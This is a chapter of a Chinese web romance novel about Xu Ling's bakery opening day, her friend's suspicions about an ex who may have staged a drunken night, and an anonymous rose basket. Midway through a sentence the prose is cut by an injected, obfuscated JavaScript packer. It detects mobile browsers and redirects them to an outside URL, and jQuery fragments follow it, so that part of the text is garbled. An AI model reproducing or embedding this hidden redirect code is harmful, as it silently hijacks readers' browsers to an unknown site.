“所以…”


    乔珏抱着手臂靠在收银台边，眼睛在身上扫了一圈，语气里是藏不住的八卦，


    “那天他把你送回去后，你俩就在那房子里…待了一整晚？”


    “…可以这么说。”


    许绫正搬着一箱刚送来的牛奶往后厨走，闻言脚步顿了顿，没敢回头看对方的眼睛。


    箱子有点沉，她抱着表情都有些吃紧，正好掩盖了她此刻莫名的心虚。


    “但我那是喝断片了！”


    她把箱子重重搁在地上，直起腰，一边整理围裙一边含糊其辞地找补：“你是不知道那天我吐得有多惨，吐了他一身…他也就是看在以前的情分上，帮我收拾了点残局，顺便把衣服洗了而已。”


    至于他是怎么“收拾”的，又是怎么在收拾完之后，按着她在沙发上，向她索取所谓的“奖励”的……


    这些画面盘旋在许绫的脑海中迟迟挥之不去，都被她一通按在了记忆的最深处，噼里啪啦上了七八道大锁，打死都不敢透露半个字。


    “行了行了，别在那瞎琢磨了。”许绫生硬地转开话题，拍了拍手上的灰，“赶紧帮忙，这马上就要九点了，开业第一天可不能掉链子。”


    今天是“绫好”面包房的试营业首日。


    为了积攒人气，许绫早就在各处平台发了预告，甚至还下了血本，搞了个为期三天的“全场69折”开业大酬宾活动。


    效果显然超出了预期。


    虽然预定的是九点正式开门，但还没到点，门口就已经排起了一小队长龙。


    随着卷帘门缓缓拉起，那股浓郁的黄油和麦香瞬间涌向街道，早就按耐不住的客人们蜂拥而入。


    因为店铺旧址紧邻大学城，距离Z大不过几百米，再加上许绫特意打出的“Z大毕业生的店铺”的情怀招牌，今天来店里捧场的主力军大半都是附近的大学生。


    “学姐！听说拿校园卡还能折上折是吗？”


    “我要那个招牌海盐卷！我们在群里看到推荐来的！”


    原本空荡荡的店铺瞬间被青春洋溢的面孔填满。


    收银台的提示音此起彼伏，许绫忙得像个陀螺，既要笑着回应学弟学妹们的热情，又要盯着后厨补货，还要去前台帮忙打包。


    还好在九点后她爸妈及时赶过来帮了会忙，不至于完全手忙脚乱。


    “老板，海盐卷还有吗？”


    “那个蛋挞得再烤一盘，外面都抢空了！”


    “哎美女，这个红豆包帮我拿五个。”


    不过短短两个小时，货架上原本堆得满满当当的面包像是被龙卷风席卷过一般，只剩下零星几个还没来得及撤下的价签。


    “不好意思啊各位同学！”


    许绫看着空空如也的展示柜，不得不拿出一块早就准备好的小黑板，挂在门口最显眼的位置。


    她有些歉意地对着还没买到的顾客高声喊道：“面包已经售罄了，后厨正在加紧制作，新一轮出炉要等到下午两点，大家下午再来吧！”


    挂出“下午再售”的告示后，店里终于清净了不少。


    正好到了饭店，许绫爸妈先一步去吃饭了，乔珏帮点的豪华外卖也到了。两人把两张高脚凳拼在一起，就在岛台边就着刚出炉的面包香气吃午饭。


    “不过…”


    乔珏咬了口虾饺，语气里带着成年人的揶揄，“你说他只是好心给你当了会儿保洁？我看未必吧。”


    许绫正拆着筷子，闻言动作一顿，心虚地低头戳着碗里的米饭：“…本来就是。不然还能是什么？”


    “行吧。”


    乔珏见她这遮掩的模样，心下了然，不急不忙地抛出了杀手锏，


    “你喝醉酒的第二天，我去找你时正看见邢晟的车停在路口。”


    “他降着车窗在那儿透气，我看得很清楚，他身上的黑色毛衣…是上半年你拉着我帮你淘的那件古着吧。”


    “……”


    许绫握着筷子的手停住，脸颊还是不受控制地泛起了红。


    这件衣服她记得的，是被她放在衣柜最深处的古着毛衣。


    那天宿醉后脑子不清醒，她根本没注意到邢晟穿的是她的衣服。


    此刻被乔珏一点破，记忆回笼，她首先想到的却不是那件衣服的样式。


    而是——


    那层薄薄的黑色针织面料下，坚实起伏的肌肉轮廓，以及指尖触碰时，感受到的滚烫温度。


    看着许绫迅速红透的耳根，乔珏心中顿时有数。


    “他怎么到你家做保洁后，还穿了你的衣服？”她促狭地笑了笑，“看来这‘残局’收拾得挺彻底啊。”


    许绫被噎得说不出话，只能埋头扒饭，试图用沉默掩饰尴尬。


    见好就收，乔珏也没再继续追问那些令人脸红的细节。


    她抽了张纸巾，神色稍微正经了几分，认真道：“行了，不开玩笑了。”


    “不过绫绫，有个正事我还是得和你提一句。”


    许绫抬起头，有些茫然：“什么？”


    “从聚会回来后，我回了会所去取落在那儿的围巾，顺嘴和那个领班聊了两句酒的事。”


    乔珏压低了声音，“那个领班说，那晚他们其实早就备好了酒单，但有人提前吩咐过，只要有人点酒，就多推几瓶‘芒果风暴’，而且度数要特意调重一点。”


    许绫夹菜的手彻底停住，筷子悬在半空。


    乔珏观察着她的表情，点到即止：


    “再加上我之前和你提到的，黎允莫名其妙支走小喻的车…这也太顺了点，顺到…像是有人专门把场子清好了，就等着这出‘英雄救美’。”


    面包房里安静了片刻。


    许绫垂下眼眸，慢慢把一筷子温热的米饭送进嘴里。


    她嚼的动作很慢，眼神闪过几分茫然，像是在思索着什么。


    如果真的有人刻意安排，那邢晟在那晚表现出来的脆弱，到底有几分真，几分假？


    可是…那晚他将要喝下那杯酒的决绝，真的是能演出来的吗？


    “我不确定。”


    许绫咽下食物，放下筷子，声音有些闷，“我不知道是不是他做的，也没证据说是他。”


    她顿了顿，眉头微微蹙起，带着点烦躁，“我也是觉得…怪，一切都有点太巧了。”


    就算那一刻他的难受是真的，也不代表这一切的动机就是纯粹的。


    乔珏看着她纠结的样子，刚想说些什么。


    许绫却放下筷子，轻轻晃了晃脑袋，像是要甩掉那些令人不安的猜测。


    重新抬起头时，她脸上又挂上了独有的倔强神情：


    “管他呢。”


    “不管是不是他做的局，我都不想再被牵着鼻子走了。”


    她伸出手，主动给乔珏夹了块排骨，自我打气道：“你也别担心，我都不是当年的许绫了，还能看出这点不对劲？”


    “我现在和他约法三章，就是为了给自己留退路。”


    她身子微微前倾，眼睛亮晶晶的。像是在说服乔珏，更像是在说服心里没底的自己：


    “反正就五次。我就当是还这一笔烂账。只要我守住规矩，这五次一过，他还能有什么理由缠着我？”


    “我就想把这事儿干干净净地了结了，以后谁也别欠谁。”


    乔珏看着她这强撑出来的轻松模样，隐隐在心里叹了口气。


    许绫这人，永远都是嘴比心硬。


    “行，你有心理准备就好。”


    “叮——”


    恰在此时，后厨的烤箱发出一声清脆的提示音。


    紧接着，店门口的风铃声响起，新一轮客人推门而入。


    “哎！学姐，开门了吗？”


    “开了开了，马上来！”


    许绫应了一声，迅速从高脚凳上跳起来，元气满满地钻入后厨。


    趁许绫忙活的间隙，乔珏也没闲着。


    她注意到展柜前有对年轻的情侣，转了好几圈，对着空荡荡的面包区域犹豫不决。


    “你好，需要帮忙吗？”乔珏主动上前。


    女生有些扭捏，倒是旁边的男生主动开口：“那个，其实我们是想找一款咸味面包，记得以前这家店是位姓韩的奶奶开的，我女朋友特别爱吃她做的那个味道，不知道换老板以后还有没有…”


    乔珏愣了愣，她并不知道这个咸味面包的事儿，正疑惑间，许绫已经走了过来。


    “怎么了？”


    许绫刚一走近，视线停在那个女生脸上时，眼睛顿时亮了，“芮芮？”


    那个叫芮芮的女生惊喜地抬头，片刻后腼腆挂起了笑：“学姐，你也在这儿啊？”


    男生倒一脸惊讶：“认识？”


    “当然认识。”许绫笑着解释，“之前我去敬老院做志愿活动，韩阿姨特意跟我夸过，说芮芮给爷爷奶奶们唱的歌可好听了。”


    芮芮脸红了红：“谢谢学姐夸奖…其实我们今天是特意来找韩阿姨以前做的那个咸面包的。”


    “我就知道。”


    许绫了然一笑，“你就是想要那款特定的海盐面包是吧？”


    说着，她神秘地眨眨眼：“正好，我今早试做了一批，因为还没完全复刻出韩阿姨当年的手艺，没敢摆出来卖。”


    “你要是不嫌弃，我去后厨拿给你尝尝？”


    没过一会儿，许绫拎着一个牛皮纸袋出来，递给芮芮：


    “这袋免费送你们，我跟韩阿姨学这款面包的时候漏听了点细节，总觉得差点意思。你们尝尝，要是有什么建议，随时加店门口的联系方式告诉我。”


    情侣俩连连道谢，临走前，许绫还不忘嘱咐：“下次要是再去敬老院，帮我给韩阿姨带个好，就说我忙完这阵开业就去看她！”


    送走了这对小插曲，店里又忙活了一阵。


    这一忙，就直接忙到了日薄西山。


    送走最后一批抢购晚间出炉面包的客户，店内的喧嚣终于随着暮色的降临慢慢沉寂下来。


    街边的路灯一盏盏亮起，透过落地窗洒进店内，给疲惫了一天的众人镀上一层暖黄的柔光。


    许绫揉了揉酸胀的腰，从后厨端出一个托盘，里面放着几个颜色稍深的面包。


    “爸、妈、乔乔，来尝尝这个。”


    她把托盘放在岛台上，“这是我还在调整配方的新品，最后剩这几个了，你们来帮我试试味道啰。”


    许母累了一天正饿着，拿起一个，直接咬了一大口。


    下一秒，她的五官瞬间皱成了团，“哎哟…绫绫，你这放多了盐吧，又咸又带着点苦味，真的不好吃。”


    许父长了一小口，虽然没明说，也是礼貌地放回盘子里，端起保温杯漱口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036653|192482||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “是不太符合大众口味，有点…太特别了。”


    乔珏听了这样的评价，不信邪，掰了一块塞进嘴里。


    嚼了两下，她的表情瞬间变得一言难尽，抬头看向许绫：“你想听真话还是假话？”


    “行了，看你们表情我就知道了。”


    许绫叹了口气，有些泄气地趴在桌子上，手指给这个不受待见的面包戳出个坑，“我就知道这味道做得不对，但我明明是按照当年的比例来的啊…”


    其实这个面包的诞生纯属意外。


    还是他们在读大学的时候，韩阿姨有次做面包手抖，把糖错放成了盐，做坏了一炉。


    许绫当时觉得难吃，随手塞给了来找她的邢晟一口，想看他笑话。


    没想到这位向来不爱吃甜食、人生只喝冰美式的男人，竟就着她的手继续咬了一口，还评价道：“味道不错。”


    后来韩阿姨纠正了配方，变回甜口。


    邢晟虽然没说什么，但许绫还是察觉到他再没碰过这款面包。


    为了这口“怪味”，她特意来求韩阿姨重置这份错误的配方。没想到这一重置，竟意外收获了一批像邢晟这样口味独特的死忠粉。


    慢慢的，这款“美丽的错误”也成了店里独树一帜的招牌。


    “你也别太纠结了。”乔珏见她情绪低落，安慰道，“刚才那个叫芮芮的学妹不是拿走一份吗？回头听听顾客的建议呗。”


    “芮芮性格太腼腆，估计不好意思说重话。”


    许绫看着盘子里剩下的半块面包，眼神有些放空，


    “要是‘那个人’在的话…估计还能给点建议吧。”


    毕竟，这是第一个发掘出这款面包商业价值的人。


    “那个人？”乔珏疑惑地歪头，“哪个？”


    “哎哟！谢谢谢谢！这也太客气了！”


    还没等许绫回答，正在门口收拾卫生的许母突然发出招呼，热情的大嗓门打破了店内的安静。


    两人对视一眼，赶忙起身走出去。


    只见暮色中的店门口，原本就堆满的花篮海里，此刻多出了个“巨无霸”。


    那花篮足有一人高，用的全是进口的厄瓜多尔红玫瑰，花瓣上还挂着露珠，在一众普通康乃馨和百合前显得格格不入，透出一股用金钱堆砌出来的傲慢与华贵。


    一个穿着黑色西装的男人正冲着许母憨笑，放下花篮擦了擦汗：“谬赞了，这是我们老板特意吩咐的，祝许老板生意兴隆，万事如意。”


    老板？


    许绫心里咯噔一下。


    花篮上干干净净，连个署名都没有。


    她脑海中瞬间蹦出了个名字。


    但细想着又觉得奇怪——怎么刚刚好卡在店铺歇业、人最少的时候来？


    “请问…”许绫刚想追问是哪位老板。


    结果一扭头，那个送花的西装男竟然像泥鳅一样，趁着她爸妈欣赏花的功夫，一溜烟没影了。


    许绫追了几步，站在路边四处张望。


    街边空空荡荡。


    既没有熟悉的黑色轿车，更没有其他可疑的豪车身影。


    不远处只有一辆印着“货拉拉”字样的破旧小面包车，还有一辆正在作业的垃圾车停在路灯阴影里。除此之外，全是来往穿梭的电动车。


    “嗡——”


    口袋里的手机振动了一下。


    许绫掏出手机，屏幕亮起的光映在她脸上。


    发件人赫然是【别理他】。


    「花收到了？许老板，开业大吉^^」


    末尾两个系统的笑脸跳在屏幕上，此刻却嘲讽感拉满，看得许绫太阳穴直跳。


    果然是他。


    这家伙绝对在附近蹲点！


    许绫咬了咬牙，迅速打字回复，带着几分抓到把柄的恼火：


    「你就在附近吧？」


    「约法三章第三条：不得无故出现在我面前，邢总，第一张约会券作废了。」


    对面秒回，字里行间却透着几分漫不经心。


    「我只是按你说的条款执行而已。」


    「你说的是“碰到”。既然没碰到，就不算。」


    许绫被气笑了，这家伙主修的不止有经济学吧，玩文字游戏玩到她头上来了？


    她愤愤地敲击屏幕：


    「行，你最好藏严实了，早晚有天把你揪出来！」


    “别理他”：「那你慢慢找。」


    “别理他”：「你会找到的。」


    最后这条消息发过来后，无论许绫再怎么发表情包轰炸，对面都没了动静，显然见好就收，装死去了。


    “切，算你跑得快。”


    许绫没好气地熄灭屏幕，把它揣回兜里。


    她没当回事，只认为他是路边送个花，顺便在手机上过过嘴瘾。


    许绫很快转身招呼还在门口张望的爸妈和乔珏，


    “走吧走吧，别看了，咱们收拾收拾准备关门了！”


    几人说说笑笑地转身回店。


    唯有路灯阴影下，那辆毫不起眼，印着橙色广告的货拉拉面包车，在许绫转身的那一刹，才缓缓启动。


    车床贴着深黑色的防窥膜，从外面根本看不清里面坐着什么人。


    它混在一堆送货的车流里，低调地驶过店铺门口，最终消失在茫茫车海中。